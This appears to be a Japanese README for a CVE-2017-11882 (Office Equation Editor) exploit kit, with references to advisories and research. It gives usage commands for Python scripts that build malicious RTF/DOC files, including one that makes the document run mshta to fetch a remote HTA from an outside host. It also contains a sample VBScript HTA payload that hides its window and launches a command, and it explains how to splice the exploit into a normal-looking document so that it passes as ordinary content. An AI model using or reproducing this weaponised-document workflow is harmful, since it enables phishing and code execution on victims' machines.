
CVE-2017-11882 (Microsoft Office Equation Editor) のエクスプロイト。Python スクリプトを使用して悪意のある RTF/DOC ファイルを生成し、mshta 経由で任意のコマンドまたはシェルコードを実行します。
43b 元のスクリプトは https://github.com/embedi/CVE-2017-11882 から
109b 元のスクリプトは https://github.com/unamer/CVE-2017-11882/ から(敬意を表します。現在unamerのコードはshellcodeを実行できるようになりました〜)
CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
Research: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
Patch analysis: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
DEMO PoC exploitation: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
use mshta
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
abc
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
43b コマンドの長さは43バイトを超えてはならず、109b コマンドの長さは109バイトを超えてはなりません。
example フォルダには、CVE-2017-11882 の脆弱性を悪用し、システム上で電卓を実行する .rtf ファイルが格納されています。
実際のところ、カスタムコンテンツの手法は他の先輩から学んだもので、ずいぶん前にスクリプトにしていました。公開するつもりはなかったのですが、グループ内ですでに誰かが公開してしまったので、やむを得ず公開することにしました。方法はとても簡単で、テキストエディタで通常のドキュメントのrtfファイルを開き、{*\datastore より前のすべての内容をコピーし、{\object\objautlink\objupdate より前の内容と置き換えるだけです。そのため、スクリプトにすれば非常に簡単です。
カスタムコンテンツを追加する場合の使用方法(任意のスクリプトを選択):
python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf
カスタムコンテンツは input.rtf に記述します。
unamer の最新の605バイトのエクスプロイトスクリプトについては更新しません。興味がある方はご自身で変更してください。